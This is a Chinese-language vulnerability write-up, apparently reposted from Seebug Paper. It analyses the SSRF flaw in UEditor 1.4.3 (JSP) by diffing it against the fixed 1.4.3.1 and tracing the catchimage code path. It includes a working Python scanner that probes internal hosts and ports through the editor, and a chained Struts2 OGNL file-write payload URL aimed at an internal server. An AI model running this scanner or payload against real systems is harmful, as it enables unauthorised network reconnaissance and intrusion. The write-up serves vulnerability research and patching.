作者: 浮萍@獵戶安全實驗室
公眾號:獵戶安全實驗室
前些時間測試的時候遇到了一個系統采用了UEditor編輯器,版本為1.4.3。已知該編輯器v1.4.3版本存在SSRF漏洞,雖然是Bool型的SSRF,除了可以進行內網探測外,也可以根據web應用指紋信息,之后進行進一步的測試。
0x01 前言
查看官方的更新日志可以發現UEditor編輯器在版本1.4.3.1修復了SSRF漏洞。

那版本1.4.3應該存在SSRF漏洞,本著能搜索就不動手的原則搜了一下,發現wooyun-2015-0133125中提到過這類的漏洞。但我這里是jsp版本的,里面提到jsp版本不一樣,只好去分析一下漏洞產生的位置。
0x02 漏洞分析
那我們需要查看版本1.4.3與1.4.3.1有什么不同,從而找到存在問題的地方。該項目的代碼托管在Github上,地址為:https://github.com/fex-team/ueditor/。
查看版本1.4.3.1下的jsp代碼.

可以發現在該版本有一次commit,commitId 為a1820147cfc3fbe2960a7d99f8dfbe338c02f0b6。根據字面意思應該是增加了修復SSRF的代碼。
下載下來后對比一下v1.4.3.1和v1.4.3代碼有什么不同(這里僅對比jsp下的代碼)。

發現在v1.4.3.1中修改了jsp/src/com/baidu/ueditor/hunter/ImageHunter.java的validHost方法。
privatebooleanvalidHost ( String hostname) {
try {
InetAddressip = InetAddress.getByName(hostname);//根據主機名獲取ip
if (ip.isSiteLocalAddress()) {//是否為地區本地地址
returnfalse;
}
} catch (UnknownHostExceptione) {
returnfalse;
}
return !filters.contains( hostname );
}
新增了對ip地址是否為內部地址的判斷。而在v1.4.3中僅僅是做了是否為過濾的ip地址。
privatebooleanvalidHost ( String hostname) {
return !filters.contains( hostname );
}
isSiteLocalAddress方法作用是當IP地址是地區本地地址(SiteLocalAddress)時返回true,否則返回false。
IPv4的地址本地地址分為三段:10.0.0.0~ 10.255.255.255、172.16.0.0 ~ 172.31.255.255、192.168.0.0 ~192.168.255.255。
搜索后發現在captureRemoteData中調用了validHost方法。

根據代碼可以分析:首先使用validHost對url進行判斷,如果不合法,就提示“被阻止的遠程主機”;當滿足條件后會使用validContentState方法查看返回的狀態是否為200,若不為200,則提示“遠程連接出錯”;進而對后綴、文件大小進行判斷,都符合之后才進行圖片的保存。如果url無法訪問,則提示“抓取遠程圖片失敗”。
所以可以根據返回的內容,來推斷該url對應的主機是否可以訪問。由于在版本v1.4.3中沒有對請求的主機進行驗證,從而造成了SSRF漏洞。
繼續查看在capture方法中調用了captureRemoteData。
publicStatecapture ( String[] list ){
MultiStatestate = newMultiState( true );
for ( String source : list ) {
state.addState( captureRemoteData( source ));
}
return state;
在invoke中調用了capture.
publicStringinvoke() {
if ( actionType == null || !ActionMap.mapping.containsKey(actionType ) ) {
returnnewBaseState( false, AppInfo.INVALID_ACTION ).toJSONString();
}
...
Statestate = null;
intactionCode = ActionMap.getType( this.actionType );
...
switch ( actionCode ) {
...
caseActionMap.CATCH_IMAGE:
conf = configManager.getConfig(actionCode );
String[] list = this.request.getParameterValues( (String)conf.get( "fieldName" ) );
state = newImageHunter( conf ).capture( list );
break;
...
}
returnstate.toJSONString();
}
當調用capture需要滿足條件為actionCode為ActionMap.CATCH_IMAGE,在ActionMap中value為ActionMap.CATCH_IMAGE對應的key為catchimage。所以當actionType值為catchimage,即action參數對應為catchimage時,才可能觸發SSRF漏洞。下面對漏洞進行驗證。
0x03 漏洞驗證
這里用的是v1.4.3 jsp版本,下載ueditor1_4_3-utf8-jsp.zip,之后進行配置(可以參考http://fex.baidu.com/ueditor/#server-jsp)。

功能實現的入口文件是jsp/controller.jsp。由上述分析可知需要滿足action參數為catchimage。
在case ActionMap.CATCH_IMAGE中下斷點,然后進行調試。
訪問鏈接http://localhost:8088/jsp/controller.jsp?action=catchimage

繼續運行發現list為空,然后就拋出了異常。
再次運行,查看list數據從何而來。

可以看出list的數據從瀏覽器source[]參數而來。這里source[]需要后綴為圖片格式,具體可以查看config.js中的catcherAllowFiles。
已知192.168.135.133開啟了tomcat服務,且端口為8080。我們這里訪問一張不存在的圖片,例如用UUID生成一張圖片的名稱。

當進入validHost方法時,由于被訪問的主機地址不在過濾的范圍,所以返回true。
這里可以發現,僅僅對127.0.0.1、localhost和img.baidu.com進行了限制,當ip為本地地址時并沒有限制,從而可以進行內網探測。

而該圖片由于不存在,所以狀態碼為404,到此抓取圖片過程結束,并返回結果。
這里可以根據頁面返回的結果不同,來判斷該地址對應的主機端口是否開放。可以總結為以下幾點:
-
如果抓取不存在的圖片地址時,頁面返回{"state": "SUCCESS", list: [{"state":"\u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519"} ]},即state為“遠程連接出錯”。
-
如果成功抓取到圖片,頁面返回{"state": "SUCCESS", list: [{"state": "SUCCESS","size":"5103","source":"http://192.168.135.133:8080/tomcat.png","title":"1527173588127099881.png","url":"/ueditor/jsp/upload/image/20180524/1527173588127099881.png"} ]},即state為“SUCCESS”。
-
如果主機無法訪問,頁面返回{"state":"SUCCESS", list: [{"state": "\u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25"}]},即state為“抓取遠程圖片失敗”。
由于除了在config.js中的catcherLocalDomain配置了過濾的地址外,沒有針對內部地址進行過濾,所以可以根據抓取遠程圖片返回結果的不同,來進行內網的探測。
0x04 代碼實現
由上述分析,根據返回包中的state進行判斷,當state為"遠程連接出錯"或者為“SUCCESS”時表示該主機存在,且對應的端口為開放狀態。
代碼如下:
__Date__="20180524"
'''
Usage:
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.133
python SSRF_Ueditor_jsp.py http://localhost:8088/ 192.168.135.0/24
Python version: 3.6.2
requirements:IPy==0.83
'''
import sys
import json
import requests
from IPy import IP
defcheck(url,ip,port):
url = '%s/jsp/controller.jsp?action=catchimage&source[]=http://%s:%s/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png' %(url,ip,port)
res = requests.get(url)
result = res.text
result = result.replace("list","\"list\"")
res_json = json.loads(result)
state = res_json['list'][0]['state']
if state == '遠程連接出錯'or state == 'SUCCESS':
print(ip,port,'is Open')
defmain(url,ip):
ips = IP(ip)
ports = [80,8080]
for i in ips:
for port in ports:
check(url,i,port)
if__name__ == '__main__':
url = sys.argv[1]
ip = sys.argv[2]
main(url,ip)
由于返回的結果為{"state": "SUCCESS", list: [{"state":"..."} ]}并不能直接用json來解析,需要將list替換為“list”后才可以作為json來解析。當然也可以直接使用burp來測試。
在實際測試中的測試結果如下:

0x05 綜合利用
對于這樣的Bool型SSRF ,頁面僅返回了狀態,而沒有更多別的信息,要想進一步利用,可以根據如下的思路:
內網探測->應用識別->攻擊Payload->查看結果
5.1 內網探測
首先進行內網探測,查看內網開放的主機和端口。這里以本地為例。
執行命令:
python SSRF_Ueditor_jsp.pyhttp://localhost:8088/ 192.168.135.155
192.168.135.15580is Open
192.168.135.1558080is Open
發現端口80 和 8080 開放,然后進行應用的識別。
5.2 應用識別
80端口由于沒有可以識別的特征,所以未識別到應用的類型,而8080端口可以識別出來為tomcat服務器。

然后嘗試查看是否可能存在Struts2漏洞。
5.3 攻擊Payload
由于在抓取遠程圖片時,會請求給出的URL地址,所以可以利用Struts2漏洞在內網服務器(這里為192.168.135.155)上寫入一個后綴為圖片格式(如png、jpg)的文件(因為只能抓取圖片格式的文件,所以這里寫入了圖片后綴的文件),然后利用Ueditor抓取圖片的功能,將寫入的圖片文件抓取到ueditor服務器中,然后訪問圖片查看攻擊結果。
首先寫文件,這里利用Struts2漏洞在內網服務器web項目下寫入一個名字為b5e592d2-ab5b-476d-865a-8299a0625490.png的文件,內容為Struts2_Test.png。

這里之所以寫入內容為Struts2_Test.png,是由于在抓取圖片時會判斷圖片鏈接的后綴是否為圖片格式。當然還有其他的寫法,例如
http://192.168.135.135:8080/Struts2_bugs-0.0.1-SNAPSHOT/test.action%3Fredirect%253A%24%257B%2523req%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%2523b%253D%2523req.getRealPath(%2522/%2522)%252B’b5e592d2-ab5b-476d-865a-8299a0625490.png’,%2523res%253d%2523context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%2523res.getWriter().print(%2522oko%2522),%2523res.getWriter().print(%2522kok%2522),%2523res.getWriter().flush(),%2523res.getWriter().close(),new%2520java.io.BufferedWriter(new%2520java.io.FileWriter(%2523b)).append(%2523req.getParameter(%2522shell%2522)).close()%257D%26shell%3DStruts2_Test&aaa.png也可以寫入。
然后再次利用Ueditor抓取遠程圖片的功能將寫入內網服務器的“圖片文件”抓取下來,查看其內容。
這里需要抓取的圖片地址為:http://192.168.135.155:8080/Struts2_bugs-0.0.1-SNAPSHOT/b5e592d2-ab5b-476d-865a-8299a0625490.png

由上圖可以看出,最后抓取的文件保存地址為:/ueditor/jsp/upload/image/20180525/1527181480175039672.png
5.4 查看結果
然后訪問http://localhost:8088/ueditor/jsp/upload/image/20180525/1527181480175039672.png
查看是否攻擊成功。

表明攻擊成功。
0x06 總結
由于UEditor在v1.4.3之前沒有加入對內部IP的限制,所以在使用抓取圖片的功能時,造成SSRF漏洞。可以進行內網服務器的探測。然后根據內網服務器的特征(如/jmx-console/images/logo.gif, /tomcat.png),判斷其使用的組件,并猜測可能存在的漏洞,然后進行進一步的滲透。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/606/
暫無評論